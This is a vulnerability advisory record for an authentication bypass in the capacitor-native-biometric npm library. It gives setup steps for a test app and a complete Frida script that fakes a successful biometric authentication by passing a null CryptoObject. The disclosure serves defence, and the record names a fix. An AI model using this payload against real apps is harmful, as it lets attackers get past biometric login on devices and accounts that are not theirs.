{"id":"CVE-2026-56294","aliases":["GHSA-vx5f-vmr6-32wf"],"url":"https://o3.security/vulnerability/CVE-2026-56294","summary":"capacitor-native-biometric - Authentication Bypass via Unvalidated CryptoObject in onAuthenticationSucceeded","details":"There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. \n\n---\n\n## Summary\n\nThe [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88):\n\n```java\n@Override\n    public void onAuthenticationSucceeded(\n        @NonNull BiometricPrompt.AuthenticationResult result\n    ) {\n        super.onAuthenticationSucceeded(result);\n        finishActivity(\"success\");\n    }\n```\n\nAs the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. \n\n## PoC Video:\n\nhttps://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7\n\n## Environment:\n\nThe following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. \n\n1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name `capgo-poc`: \n\n```sh\nnpx create-react-app capgo-poc --template typescript\n```\n\nYarn Alternative:\n\n```sh\nnpm install --global yarn\nyarn create react-app capgo-poc --template typescript\n```\n\n2. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies:\n\n```sh\ncd capgo-poc\nnpm install @capacitor/core \nnpm install @capacitor/cli \nnpm install @capacitor/android\nnpm install @capgo/capacitor-native-biometric\nnpm install react\n```\n\nYarn Alternative:\n\n```sh\ncd capgo-poc\nyarn add @capacitor/core \nyarn add @capacitor/cli \nyarn add @capacitor/android\nyarn add @capgo/capacitor-native-biometric\nyarn add react\n```\n\n3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands:\n\n```sh\nnpx cap init\nnpx cap add android\n```\n\n4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions:\n\n```xml\n<uses-permission android:name=\"android.permission.USE_BIOMETRIC\" />\n<uses-permission android:name=\"android.permission.USE_FINGERPRINT\" />\n```\n\n5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code:\n\n```js\nimport React, { useState } from 'react';\nimport { NativeBiometric } from '@capgo/capacitor-native-biometric';\n\nconst App = () => {\n  // State to hold authentication status\n  const [authStatus, setAuthStatus] = useState<string | null>(null);\n\n  // Function to authenticate the user\n  const authenticateUser = async () => {\n    try {\n      const result = await NativeBiometric.verifyIdentity({\n        reason: 'For an application access',\n        title: 'Log in',\n        subtitle: '',\n        description: 'Verify yourself by biometrics',\n        useFallback: true,\n        maxAttempts: 3,\n      }).then(() => true)\n        .catch(() => false);\n\n      if (!result) {\n        setAuthStatus('failed');\n      } else {\n        setAuthStatus('success');\n      }\n    } catch (error) {\n      console.error('Error during biometric verification:', error);\n      setAuthStatus('error');\n    }\n  };\n\n  return (\n    <div>\n      <h1>CAP-GO Capacitor Native Biometric Authentication</h1>\n      <button onClick={authenticateUser}>Authenticate with Biometrics</button>\n\n      {/* Conditionally render based on authentication status */}\n      {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}\n      {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}\n      {authStatus === 'error' && <h2>Error during authentication</h2>}\n    </div>\n  );\n};\n\nexport default App;\n```\n\n6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:\n\n```sh\nnpm run build\nnpx cap sync android \nnpx cap open android\n```\n\nYarn alternative:\n\n```sh\nyarn build\nnpx cap sync android \nnpx cap open android\n```\n\n## Exploitation:\n\nFor the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. \n\nNote that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. \n\n1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command:\n\n```sh\nfrida -U -l <PAYLOAD> -n 'capgo-poc'\n```\n\n### Payload\n```js\nJava.perform(function () {\n  hookBiometricPrompt();\n});\n\nfunction getBiometricAuthResult(resultObj, cryptoInst) {\n    var authenticationResultInst = resultObj.$new(cryptoInst, 0);\n    return authenticationResultInst;\n};\n\nfunction getBiometricPromptResult() {\n    var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');\n    var cryptoInst = cryptoObj.$new(null);\n    var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');\n    var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);\n    return authenticationResultInst\n};\n\nfunction hookBiometricPrompt() {\n    var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');\n    console.log(\"Hooking BiometricPrompt.authenticate()...\");\n    biometricPrompt.implementation = function (cancellationSignal, executor, callback) {\n        var authenticationResultInst = getBiometricPromptResult();\n        callback.onAuthenticationSucceeded(authenticationResultInst);\n    }\n};\n```\n\n[^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/\n[^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage\n[^frida]: https://frida.re/","published":"2026-06-20T15:24:45.431Z","modified":"2026-10-28T02:30:50.812123767Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@capgo/capacitor-native-biometric","fixedVersion":"8.3.6"}],"fix":{"url":"https://github.com/Cap-go/capacitor-native-biometric/commit/1254602e942f8216e6258f646f0866d8e69c48a5","label":"Cap-go/capacitor-native-biometric@1254602"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56294.json"},{"type":"ADVISORY","url":"https://github.com/Cap-go/capgo/security/advisories/GHSA-vx5f-vmr6-32wf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56294"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/capacitor-native-biometric-authentication-bypass-via-unvalidated-cryptoobject-in-onauthenticationsucceeded"},{"type":"WEB","url":"https://github.com/Cap-go/capacitor-native-biometric/commit/1254602e942f8216e6258f646f0866d8e69c48a5"},{"type":"PACKAGE","url":"https://github.com/Cap-go/capgo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:50.812123767Z"}}